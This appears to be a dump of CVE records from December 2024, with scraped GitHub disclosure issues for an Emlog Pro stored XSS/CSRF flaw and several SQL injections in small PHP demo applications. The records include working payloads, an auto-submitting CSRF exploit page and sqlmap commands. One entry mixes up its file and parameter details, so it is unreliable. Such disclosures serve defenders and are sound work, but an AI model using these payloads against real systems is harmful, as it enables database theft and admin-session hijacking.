A vulnerability, which was classified as problematic, has been found in Emlog Pro up to 2.4.1. Affected by this issue is some unknown functionality of the file /admin/link.php. The manipulation of the argument siteurl/icon leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/emlog/emlog/issues/307" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.289082" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.289082" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.462614" } ]

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[ "79" ]

79

https://github.com/emlog/emlog/issues/307

[ "Exploit", "Issue Tracking" ]

github.com

[ "emlog", "emlog" ]

# Summary A stored XSS vulnerability exists in emlog pro 2.4.1 which allows attackers to execute arbitrary HTML code. # Details Because `/admin/link.php` has CSRF problems, attackers can use XSS to cooperate with CSRF to attack. The `siteurl` and `icon` parameters have XSS vulnerabilities. ![image](https://github.com/user-attachments/assets/6e9377b6-0c39-490d-88eb-f7fcf211a9c3) # POC ``` POST /admin/link.php?action=save HTTP/1.1 Host: target-ip Content-Length: 297 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: [admins'cookie] Connection: keep-alive sitename=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&siteurl=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&icon=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&description=https%3A%2F%2Fwww.com%2F%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&linkid= ``` EXP: ``` <html> <body> <form action="http://39.105.104.74:10004/admin/link.php?action=save" method="POST"> <input type="hidden" name="sitename" value="https://www.com/"><svg/onload=alert(3)>" /> <input type="hidden" name="siteurl" value="https://www.com/"><svg/onload=alert(3)>" /> <input type="hidden" name="icon" value="https://www.com/"><svg/onload=alert(3)>" /> <input type="hidden" name="description" value="https://www.com/"><svg/onload=alert(3)>" /> <input type="hidden" name="linkid" value="" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` A attacker put this exp in a server, When the admin users visit the html file,his cookie will be send to attackers.

emlog pro 2.4.1 Stored XSS Vulnerability

https://api.github.com/repos/emlog/emlog/issues/307/comments

3

2024-12-13T06:53:57Z

2025-03-28T04:44:01Z

https://github.com/emlog/emlog/issues/307

2,737,587,217

307

6,467

CVE-2024-12898

2024-12-23T01:15:06.840

A vulnerability was found in 1000 Projects Attendance Tracking Management System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /admin/faculty_action.php. The manipulation of the argument faculty_course_id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well.

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[ "89" ]

89

https://github.com/onupset/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "onupset", "CVE" ]

# 1000projects Attendance Tracking Management System PHP & MySQL Project V1.0 /admin/faculty_action.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Attendance Tracking Management System PHP & MySQL Project ## Vendor Homepage + [homepage](https://1000projects.org/attendance-tracking-management-system-php-mysql-project.html#google_vignette) # AFFECTED AND/OR FIXED VERSION(S) ## submitter + onupset ## Vulnerable File + /admin/faculty_action.php ## VERSION(S) + V1.0 # Software Link + [Download Source Code](https://1000projects.org/wp-content/uploads/2022/04/Attendance-Tracking-Management-System.7z) # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the '/admin/faculty_action.php' file of the 'Attendance Tracking Management System PHP & MySQL Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'MULTIPART faculty_course_id' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. ## DESCRIPTION + During the security review of "Attendance Tracking Management System PHP & MySQL Project", onupset discovered a critical SQL injection vulnerability in the "/admin/faculty_action.php" file. This vulnerability stems from insufficient user input validation of the 'MULTIPART faculty_course_id' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## ulnerability type: + time-based blind ## Vulnerability location: + 'MULTIPART faculty_course_id' parameter ## Payload: ```bash Parameter: MULTIPART faculty_course_id ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: ------WebKitFormBoundarygzJtJBPlFuASFjAl Content-Disposition: form-data; name="faculty_name" Bhupender Rana ------WebKitFormBoundarygzJtJBPlFuASFjAl Content-Disposition: form-data; name="faculty_address" Rohini, Delhi ------WebKitFormBoundarygzJtJBPlFuASFjAl Content-Disposition: form-data; name="faculty_emailid" bhupender.rana@gmail.com ------WebKitFormBoundarygzJtJBPlFuASFjAl Content-Disposition: form-data; name="faculty_password" ------WebKitFormBoundarygzJtJBPlFuASFjAl Content-Disposition: form-data; name="faculty_qualification" B.Sc, B.Ed ------WebKitFormBoundarygzJtJBPlFuASFjAl Content-Disposition: form-data; name="faculty_course_id" 1" AND (SELECT 2945 FROM (SELECT(SLEEP(5)))aoZQ)-- LLPZ ------WebKitFormBoundarygzJtJBPlFuASFjAl Content-Disposition: form-data; name="faculty_doj" 2020-09-01 ------WebKitFormBoundarygzJtJBPlFuASFjAl Content-Disposition: form-data; name="faculty_id" 1 ------WebKitFormBoundarygzJtJBPlFuASFjAl Content-Disposition: form-data; name="action" Edit ------WebKitFormBoundarygzJtJBPlFuASFjAl-- ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -r test.txt --batch --level=5 --risk=3 --dbs ``` + <img width="1021" alt="image" src="https://github.com/user-attachments/assets/4fb0fbcd-8e69-46cd-93dc-0ce69243beca" /> + <img width="770" alt="image-1" src="https://github.com/user-attachments/assets/45d36361-be54-4e8e-80d7-1b5f18b7fda8" /> # Suggested repair 1. Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format. 3. Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Attendance Tracking Management System PHP & MySQL Project V1.0 /admin/faculty_action.php SQL injection

https://api.github.com/repos/onupset/CVE/issues/1/comments

0

2024-12-21T09:31:47Z

https://github.com/onupset/CVE/issues/1

2,753,862,860

1

6,468

CVE-2024-12899

2024-12-23T01:15:07.020

A vulnerability was found in 1000 Projects Attendance Tracking Management System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /admin/course_action.php. The manipulation of the argument course_code leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/Murrayzed/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Murrayzed", "CVE" ]

# 1000projects Attendance Tracking Management System PHP & MySQL Project V1.0 /admin/course_action.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Attendance Tracking Management System PHP & MySQL Project ## Vendor Homepage + [homepage](https://1000projects.org/attendance-tracking-management-system-php-mysql-project.html#google_vignette) # AFFECTED AND/OR FIXED VERSION(S) ## submitter + Murray ## Vulnerable File + /admin/course_action.php ## VERSION(S) + V1.0 # Software Link + [Download Source Code](https://1000projects.org/wp-content/uploads/2022/04/Attendance-Tracking-Management-System.7z) # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the '/admin/course_action.php' file of the 'Attendance Tracking Management System PHP & MySQL Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'course_code' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. ## DESCRIPTION + During the security review of "Attendance Tracking Management System PHP & MySQL Project", Murray discovered a critical SQL injection vulnerability in the "/admin/course_action.php" file. This vulnerability stems from insufficient user input validation of the 'course_code' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## ulnerability type: + boolean-based blind + time-based blind ## Vulnerability location: + 'course_code' parameter ## Payload: ```bash Parameter: course_code (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: course_code=-7876" OR 5404=5404-- tZiD&course_name=Course 1&course_semester=1&course_credit=5&course_id=1&action=Edit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: course_code=SE 101" AND (SELECT 7675 FROM (SELECT(SLEEP(5)))nIPp)-- aLbB&course_name=Course 1&course_semester=1&course_credit=5&course_id=1&action=Edit ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "10.211.55.6:1131/admin/course_action.php" --data="course_code=SE+101&course_name=Course+1&course_semester=1&course_credit=5&course_id=1&action=Edit" --batch --level=5 --risk=3 --dbs ``` + <img width="1527" alt="image" src="https://github.com/user-attachments/assets/777e1ee7-a14e-4336-a25e-e0dbd43f87be" /> + <img width="704" alt="image-1" src="https://github.com/user-attachments/assets/6eacc002-459d-49ec-aa97-6cf4bb51f561" /> # Suggested repair 1. Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format. 3. Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Attendance Tracking Management System PHP & MySQL Project V1.0 /admin/course_action.php SQL injection

https://api.github.com/repos/Murrayzed/CVE/issues/1/comments

0

2024-12-22T08:36:57Z

https://github.com/Murrayzed/CVE/issues/1

2,754,552,122

1

6,469

CVE-2024-12940

2024-12-26T07:15:11.637

A vulnerability has been found in 1000 Projects Attendance Tracking Management System 1.0 and classified as critical. This vulnerability affects unknown code of the file /admin/student_action.php. The manipulation of the argument student_id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

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89

https://github.com/bug3536/CVE/issues/1

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github.com

[ "bug3536", "CVE" ]

# 1000projects Attendance Tracking Management System PHP & MySQL Project V1.0 /admin/student_action.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Attendance Tracking Management System PHP & MySQL Project ## Vendor Homepage + [homepage](https://1000projects.org/attendance-tracking-management-system-php-mysql-project.html#google_vignette) # AFFECTED AND/OR FIXED VERSION(S) ## submitter + bug3536 ## Vulnerable File + /admin/student_action.php ## VERSION(S) + V1.0 # Software Link + [Download Source Code](https://1000projects.org/wp-content/uploads/2022/04/Attendance-Tracking-Management-System.7z) # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the '/admin/student_action.php' file of the 'Attendance Tracking Management System PHP & MySQL Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'student_id'' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. ## DESCRIPTION + During the security review of "Attendance Tracking Management System PHP & MySQL Project", bug3536 discovered a critical SQL injection vulnerability in the "/admin/student_action.php" file. This vulnerability stems from insufficient user input validation of the 'student_id'' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## ulnerability type: + stacked queries ## Vulnerability location: + 'student_id' parameter ## Payload: ```bash Parameter: student_id (POST) Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: student_name=Chitra Singla&student_roll_number=1&student_dob=2003-03-04&student_course_id=1&student_emailid=chitra@gmail.com&student_password=&student_id=1";SELECT SLEEP(5)#&action=Edit ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "10.211.55.6:1131/admin/student_action.php" --data="student_name=Chitra+Singla&student_roll_number=1&student_dob=2024-12-24&student_course_id=2&student_emailid=admin111&student_password=password&student_id=1&action=Add" --batch --level=5 --risk=3 --random-agent ``` + <img width="1692" alt="image" src="https://github.com/user-attachments/assets/3b4e04a5-0c9b-4a9e-9a18-aab711adb9bd" /> # Suggested repair 1. Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format. 3. Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Attendance Tracking Management System PHP & MySQL Project V1.0 /admin/student_action.php SQL injection

https://api.github.com/repos/bug3536/CVE/issues/1/comments

0

2024-12-24T06:43:51Z

https://github.com/bug3536/CVE/issues/1

2,757,281,911

1

6,470

CVE-2024-13004

2024-12-29T07:15:05.643

A vulnerability classified as critical has been found in PHPGurukul Complaint Management System 1.0. This affects an unknown part of the file /admin/category.php. The manipulation of the argument state leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/alc9700jmo/CVE/issues/6

[ "Exploit", "Third Party Advisory" ]

github.com

[ "alc9700jmo", "CVE" ]

# Phpgurukul Complaint Management system V1.0 /admin/category.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Complaint Management system ## Vendor Homepage - https://phpgurukul.com/complaint-management-sytem/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter - alc9700 ## Vulnerable File - /admin/category.php ## VERSION(S) - V1.0 ## Software Link - https://phpgurukul.com/wp-content/uploads/2017/12/Complaint-Management-System-PHP.zip # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/admin/category.php' file of the 'Complaint Management system' project. The reason for this issue is that attackers inject malicious code from the parameter 'state' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Complaint Management system",alc9700 discovered a critical SQL injection vulnerability in the "/admin/category.php" file. This vulnerability stems from insufficient user input validation of the 'state' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - 'category' parameter ## Payload: ```makefile Parameter: deo_user_name (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: deo_user_name=deo" AND (SELECT 4695 FROM (SELECT(SLEEP(5)))bkhc)-- EKUz&deo_password=password&deo_id=1&action=Edit ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "10.211.55.6:1131/admin/deo_action.php" --data="deo_user_name=deo&deo_password=password&deo_id=1&action=Edit" --batch --level=5 --risk=3 ``` - <img width="1171" alt="image" src="https://github.com/user-attachments/assets/317e9a86-2271-44bb-9523-545fdff849e5" /> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Phpgurukul Complaint Management system V1.0 /admin/category.php SQL injection

https://api.github.com/repos/alc9700jmo/CVE/issues/6/comments

0

2024-12-27T13:58:14Z

2024-12-27T13:58:15Z

https://github.com/alc9700jmo/CVE/issues/6

2,760,919,377

6

6,471

CVE-2024-13008

2024-12-29T10:15:05.853

A vulnerability has been found in code-projects Responsive Hotel Site 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /admin/newsletter.php. The manipulation of the argument eid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://code-projects.org/" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/Err-4O4/cve/issues/1" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/Lanxiy7th/lx_CVE_report-/issues/18" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.289669" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.289669" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.470575" } ]

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[ "89" ]

89

https://github.com/Err-4O4/cve/issues/1

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "Err-4O4", "cve" ]

# code-projects Responsive Hotel Site Using PHP With Source Code v1.0 newsletter.php SQL injection # eidOF AFFECTED PRODUCT(S) - Responsive Hotel Site Using PHP With Source Code ## Vendor Homepage - https://code-projects.org/responsive-hotel-site-using-php-source-code/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter - Unique_4O4 ## Vulnerable File - newsletter.php ## VERSION(S) - V1.0 ## Software Link - https://download.code-projects.org/details/b75079c7-3ff5-4d6a-a577-d810d0b1bca7 # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the 'newsletter.php' file of the 'Responsive Hotel Site Using PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "eid" and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. [![1](https://private-user-images.githubusercontent.com/151617791/399036780-b850ec51-c83f-438b-a5da-4a75cd967671.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzU0NTY5MTUsIm5iZiI6MTczNTQ1NjYxNSwicGF0aCI6Ii8xNTE2MTc3OTEvMzk5MDM2NzgwLWI4NTBlYzUxLWM4M2YtNDM4Yi1hNWRhLTRhNzVjZDk2NzY3MS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQxMjI5JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MTIyOVQwNzE2NTVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02Yzg3YWRjNTc5MjA4M2VmNmI3MGFjZjdjZmRjYWM5OGY4MDEyNTZkNzQ4ZjU3NWMyNGM3ZGU4YjkzODQ4Nzc0JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.RoPPhjLMGe80A0LK4SeIVU1rlKqnWIheMlgazN0Tm4Y)](https://private-user-images.githubusercontent.com/151617791/399036780-b850ec51-c83f-438b-a5da-4a75cd967671.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzU0NTY5MTUsIm5iZiI6MTczNTQ1NjYxNSwicGF0aCI6Ii8xNTE2MTc3OTEvMzk5MDM2NzgwLWI4NTBlYzUxLWM4M2YtNDM4Yi1hNWRhLTRhNzVjZDk2NzY3MS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQxMjI5JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MTIyOVQwNzE2NTVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02Yzg3YWRjNTc5MjA4M2VmNmI3MGFjZjdjZmRjYWM5OGY4MDEyNTZkNzQ4ZjU3NWMyNGM3ZGU4YjkzODQ4Nzc0JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.RoPPhjLMGe80A0LK4SeIVU1rlKqnWIheMlgazN0Tm4Y) ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - Due to insufficient user input verification for the "eid" parameter, a serious SQL injection vulnerability has been discovered in the "Responsive Hotel Site Using PHP With Source Code", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information without logging in. Immediate remedial measures are needed to ensure system security and protect data integrity. # Vulnerability details and POC ``` GET /admin/newsletter.php?eid=24 HTTP/1.1 Host: 192.168.0.102:1216 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: close Referer: http://192.168.0.102:1216/admin/messages.php Cookie: PHPSESSID=ng2789oib9vsb0mictkp8o643v; style=purple; pma_lang=zh_CN; phpMyAdmin=t2g57v03vkkbesjgc2f4ilfdnj; pmaUser-1=%7B%22iv%22%3A%22L3HPyp65gVKUXHbQXSGimQ%3D%3D%22%2C%22mac%22%3A%22e2f2810d18a3550dc9f45569457f2c63a2814d30%22%2C%22payload%22%3A%22LKyIvWiZugcK0dpJ1wIEPw%3D%3D%22%7D; pmaAuth-1=%7B%22iv%22%3A%22rIC0LmcjLVFVOdDOSbV2uA%3D%3D%22%2C%22mac%22%3A%2276401df3cf1f90a94f780e56fb01180474904234%22%2C%22payload%22%3A%22t5DcyNu3uz0Q1xidsHos9LaDq4gzTsYdXixu3OBW%2BhU%3D%22%7D Upgrade-Insecure-Requests: 1 Priority: u=0, i ``` ## Vulnerability type: - time-based blind - boolean-based blind - error-based ## Vulnerability location: - 'eid' parameter ## Payload: ``` Parameter: eid (GET) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: eid=24' RLIKE (SELECT (CASE WHEN (6304=6304) THEN 24 ELSE 0x28 END))-- FqOa Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: eid=24' OR (SELECT 7719 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(7719=7719,1))),0x716b766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ZbqU Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: eid=24' AND (SELECT 6523 FROM (SELECT(SLEEP(5)))EHgG)-- orSh ``` [![2](https://private-user-images.githubusercontent.com/151617791/399036790-6ce460e3-dd4f-4830-9824-5b07b0c98093.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzU0NTY5MTUsIm5iZiI6MTczNTQ1NjYxNSwicGF0aCI6Ii8xNTE2MTc3OTEvMzk5MDM2NzkwLTZjZTQ2MGUzLWRkNGYtNDgzMC05ODI0LTViMDdiMGM5ODA5My5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQxMjI5JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MTIyOVQwNzE2NTVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1hOTNkYmY5NWM4M2E4YmM5NGJkNDAzZDdhNzJhMDQwYjk1NzE5Njg0ZjVjYTk0MWVkZDVjOGU2MjIwMzg3NjFmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.vXlTOuMa-rLyY2aY6WcNgJ6454vLp_knQJ48Ft9T5rY)](https://private-user-images.githubusercontent.com/151617791/399036790-6ce460e3-dd4f-4830-9824-5b07b0c98093.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MzU0NTY5MTUsIm5iZiI6MTczNTQ1NjYxNSwicGF0aCI6Ii8xNTE2MTc3OTEvMzk5MDM2NzkwLTZjZTQ2MGUzLWRkNGYtNDgzMC05ODI0LTViMDdiMGM5ODA5My5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQxMjI5JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MTIyOVQwNzE2NTVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1hOTNkYmY5NWM4M2E4YmM5NGJkNDAzZDdhNzJhMDQwYjk1NzE5Njg0ZjVjYTk0MWVkZDVjOGU2MjIwMzg3NjFmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.vXlTOuMa-rLyY2aY6WcNgJ6454vLp_knQJ48Ft9T5rY) ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ``` sqlmap -r 123 --batch --dbs ``` 